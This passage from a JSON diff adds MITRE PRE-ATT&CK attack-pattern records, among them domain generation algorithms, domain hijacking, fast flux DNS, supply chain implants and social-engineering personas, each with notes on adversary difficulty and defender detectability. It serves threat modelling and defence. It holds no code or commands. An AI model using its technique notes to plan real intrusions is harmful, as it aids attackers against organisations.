(Citation: Reflections on Trusting Trust)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--d2c4206a-a431-4494-834d-52944a79e9f4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1394", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1394" + }, + { + "description": "Claud Xiao. (2015, September 17). Novel Malware XcodeGhost Modifies Xcode, Infects Apple iOS Apps and Hits App Store. Retrieved April 12, 2017.", + "source_name": "PA XcodeGhost" + }, + { + "description": "Ken Thompson. (1984, August). Reflections on Trusting Trust. Retrieved April 12, 2017.", + "source_name": "Reflections on Trusting Trust" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1100", + "x_mitre_detectable_by_common_defenses_explanation": "It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.", + "name": "Domain Generation Algorithms (DGA)", + "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--274164c6-4297-42d4-84b5-2369e51013fe", + "x_mitre_deprecated": true, + "x_mitre_version": "2.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-04-17T17:29:42.291Z", + "x_mitre_detectable_by_common_defenses": "Partial", + "external_references": [ + { + "external_id": "T1323", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1323" + }, + { + "source_name": "DamballaDGA", + "description": "Damballa Day Before Zero Blog. (2012, March 5). Domain Generation Algorithms (DGA) in Stealthy Malware. Retrieved March 6, 2017." + }, + { + "source_name": "DambballaDGACyberCriminals", + "description": "Damballa. (n.d.). DGAs in the Hands of Cyber-Criminals Examining The State Of The Art In Malware Evasion Techniques. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "x_mitre_old_attack_id": "PRE-T1103", + "x_mitre_detectable_by_common_defenses_explanation": "Generally not easily detectable unless domain registrar provides alerting on any updates.", + "name": "Domain registration hijacking", + "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1326", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1326" + }, + { + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). DOMAIN NAME HIJACKING: INCIDENTS, THREATS, RISKS, AND REMEDIAL ACTIONS. Retrieved March 6, 2017.", + "source_name": "ICANNDomainNameHijacking" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1063", + "x_mitre_detectable_by_common_defenses_explanation": "Strong physical security and monitoring will detect this behavior if performed on premises.", + "name": "Dumpster dive", + "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--6c79d654-6506-4f33-b48f-c80babdcc52d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Not difficult if waste is placed in an unsecured or minimally secured area before collection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1286", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1286" + }, + { + "description": "Robert B. Fried. (n.d.). Dumpsters: Beware of Treasures. Retrieved March 5, 2017.", + "source_name": "FriedDumpsters" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1088", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context. It is possible, however, for defenders to see if the PTR record for an address is hosted by a known DDNS provider. There is potential to assign some level of risk based on this.", + "name": "Dynamic DNS", + "description": "Dynamic DNS is a method of automatically updating a name in the DNS system. Providers offer this rapid reconfiguration of IPs to hostnames as a service. (Citation: DellMirage2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Flexible and re-configurable command and control servers, along with deniable ownership and reduced cost of ownership.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1311", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1311" + }, + { + "description": "DELL SECUREWORKS COUNTER THREAT UNIT THREAT INTELLIGENCE. (2012, September 18). The Mirage Campaign. Retrieved March 6, 2017.", + "source_name": "DellMirage2012" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1110", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know at first use what is valid or hostile traffic without more context.", + "name": "Dynamic DNS", + "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--54eb2bab-125f-4d1c-b999-0c692860bafe", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1333", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1333" + }, + { + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "source_name": "FireEyeSupplyChain" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1039", + "x_mitre_detectable_by_common_defenses_explanation": "Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).", + "name": "Enumerate client configurations", + "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--78ae433b-289d-4c8d-b8c1-f8de0b7f9090", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1262", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1262" + }, + { + "description": "Joanna Geary, Chris Cross. (2012, April 13). Tracking the trackers: help us reveal the unseen world of cookies. Retrieved March 5, 2017.", + "source_name": "UnseenWorldOfCookies" + }, + { + "description": "Electronic Frontier Foundation. (n.d.). Panopticlick: Is your browser safe against tracking?. Retrieved March 5, 2017.", + "source_name": "Panopticlick" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1038", + "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.", + "name": "Enumerate externally facing software applications technologies, languages, and dependencies", + "description": "Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1261", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1261" + }, + { + "description": "Paul Ionescu. (2015, April 8). The 10 Most Common Application Attacks in Action. Retrieved March 5, 2017.", + "source_name": "CommonApplicationAttacks" + }, + { + "description": "Gregory Leonard. (2016, February). Getting Started with Web Application Security. Retrieved March 5, 2017.", + "source_name": "WebApplicationSecurity" + }, + { + "description": "SANS Institute. (2011, June 27). CWE/SANS TOP 25 Most Dangerous Software Errors. Retrieved March 5, 2017.", + "source_name": "SANSTop25" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1154", + "x_mitre_detectable_by_common_defenses_explanation": "If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.", + "name": "Exploit public-facing application", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--8a64f743-acaa-49d5-9d3d-ae5616a3876f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1377", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1377" + }, + { + "description": "PETER BRIGHT. (2013, November 6). Google crawler tricked into performing SQL injection attacks using decade-old technique. Retrieved March 9, 2017.", + "source_name": "GoogleCrawlerSQLInj" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1102", + "x_mitre_detectable_by_common_defenses_explanation": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.", + "name": "Fast Flux DNS", + "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--248cbfdd-fec4-451b-b2a9-e46d4b268e30", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1325", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1325" + }, + { + "description": "Jamie Riden. (2008, August 16). HOW FAST-FLUX SERVICE NETWORKS WORK. Retrieved March 6, 2017.", + "source_name": "HoneynetFastFlux" + }, + { + "description": "Misnomer. (2012, May 4). RESEARCH TO DETECTION \u2013 IDENTIFY FAST FLUX IN YOUR ENVIRONMENT. Retrieved March 6, 2017.", + "source_name": "MisnomerFastFlux" + }, + { + "description": "Lohit Mehta. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.", + "source_name": "MehtaFastFluxPt1" + }, + { + "description": "Lohit Mehta. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.", + "source_name": "MehtaFastFluxPt2" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1121", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "name": "Friend/Follow/Connect to targets of interest", + "description": "Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1344", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1344" + }, + { + "description": "Mike Lennon. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "description": "Thomas Ryan. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1141", + "x_mitre_detectable_by_common_defenses_explanation": "Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.", + "name": "Friend/Follow/Connect to targets of interest", + "description": "A form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1364", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1364" + }, + { + "description": "Thomas Ryan. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1011", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Generate analyst intelligence requirements", + "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--e754fa49-2db1-416b-92db-7f886decd099", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1234", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1234" + }, + { + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.", + "source_name": "Herring1999" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1142", + "x_mitre_detectable_by_common_defenses_explanation": "The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.", + "name": "Hardware or software supply chain implant", + "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--388f3a5c-2cdd-466c-9159-b507fa429fcd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1365", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1365" + }, + { + "description": "Tash Shifrin. (2006, October 16). Malware forces McDonald\u2019s recall of giveaway MP3s. Retrieved March 9, 2017.", + "source_name": "McDRecall" + }, + { + "description": "Brandon Hill. (2007, November 14). Seagate Serves External HDDs with a Side of Virus. Retrieved March 9, 2017.", + "source_name": "SeagateMaxtor" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1091", + "x_mitre_detectable_by_common_defenses_explanation": "Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).", + "name": "Host-based hiding techniques", + "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1314", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1314" + }, + { + "description": "Microsoft Malware Protection Center. (2008, July 30). Virus: Win32/Virut.AP. Retrieved March 6, 2017.", + "source_name": "VirutAP" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1162", + "x_mitre_detectable_by_common_defenses_explanation": "Non-hypersensing environments do not typically collect this level of detailed information.", + "name": "Human performs requested action of physical nature", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1385", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1385" + }, + { + "description": "PETER BRIGHT. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + }, + { + "description": "Taylor Armerding. (2012, October 25). Line blurs between insider, outsider attacks. Retrieved March 9, 2017.", + "source_name": "CSOInsideOutside" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1010", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Identify analyst level gaps", + "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1233", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1233" + }, + { + "description": "Ronda Bowen. (2014, March 26). Performing a Gap Analysis: Where Do You Begin?. Retrieved March 14, 2017.", + "source_name": "BrighthubGapAnalysis" + }, + { + "description": "Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.", + "source_name": "ICD115" + }, + { + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.", + "source_name": "JP2-01" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1057", + "x_mitre_detectable_by_common_defenses_explanation": "Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.", + "name": "Identify business processes/tempo", + "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1280", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1280" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + }, + { + "description": "InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.", + "source_name": "Infosec-osint" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1049", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.", + "name": "Identify business relationships", + "description": "Business relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": 